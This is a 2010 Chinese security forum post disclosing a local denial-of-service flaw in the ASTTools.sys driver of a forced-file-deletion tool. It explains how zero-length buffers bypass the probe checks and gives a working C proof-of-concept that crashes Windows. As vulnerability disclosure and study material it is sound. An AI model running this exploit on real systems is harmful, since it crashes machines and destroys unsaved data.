首页
论坛
课程
招聘
雪    币: 135
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝

[原创]超级巡警暴力文件删除工具1.4 ASTTools.sys 本地拒绝服务漏洞

2010-7-26 23:12 6673

[原创]超级巡警暴力文件删除工具1.4 ASTTools.sys 本地拒绝服务漏洞

2010-7-26 23:12
6673
产品版本:超级巡警暴力文件删除工具1.4
文件版本:ASTTools.sys  CheckSum:00013546

问题:
IRP_MJ_DEVICE_CONTROL处理例程存在本地拒绝服务漏洞

使用METHOD_NEITHER方式传递数据,没有对缓冲区进行严格的检查,就进行使用

关键代码

if(IoControlCode  ==  0x50000407)
  {
    v10 = UserBuf;
    ProbeForRead((const void *)UserBuf, InputBufferLength, 1u);
    ProbeForWrite((PVOID)UserBuf, OutputBufferLength, 1u);
    RtlInitUnicodeString(&DestinationString, (PCWSTR)UserBuf);  //触发异常
  ........
  }


虽然程序有使用ProbeForRead和ProbeForWrite来检查缓冲区的正确性

但可惜的是;ProbeForRead和ProbeForWrite是可以绕过的,即给InputBufferLength和OutputBufferLength填0,就会不做检查了。

如果驱动开发者在留心一下,在自己的程序里对InputBufferLength和OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!

最终造成了这个本地拒绝服务漏洞;

测试代码:

int main(int argc, char* argv[])
{
printf("FileForceKiller 0day 利用程序\n");
printf("本程序会导致蓝屏,请保存好数据\n");
printf("按下回车键激活0day\n");
getchar();

HANDLE handle =CreateFileA("\\\\.\\ASTTools",0,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
printf("%d\n",handle);
ULONG temp;
printf("%d",DeviceIoControl(handle,0x50000407,0,0,(PVOID)0x80000000,0,&temp,0));
//OutputBuffer传0x80000000,这是一个无效内核地址,被读取即会立即蓝屏

//InputBufferLength跟OutputBufferLength传0,这样可以绕过ProbeForRead和ProbeForWrite的检查!
getchar();
return 0 ;
}


以上代码就可以触发蓝屏

参考(抄袭)地址:
http://hi.baidu.com/mj0011/blog/item/58b9367f2fcc870d29388a3d.html

感言:
在MJ的博客里面逛一圈可以学不少好东西哈;

此文章多处地方参考(抄袭)了MJ博客里面的文章,希望MJ大大不要见怪

另外要在这里特别感谢群里的大大,紫色秋枫,......在这方面对我的指导

小弟我初学0DAY,文章中如有错误之处,希望各位大大们及时指出,

另外各位大大们别喷我,我只是个菜鸟

HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最新回复 (2)
雪    币: 310
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
stalker 活跃值 8 2010-7-27 08:28
2
0
噢,紫色秋枫,一个多么熟悉的名字,不知道是不是figo呢
雪    币: 5535
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2010-7-27 08:58
3
0
应该让ms改一下probe
游客
登录 | 注册 方可回帖
返回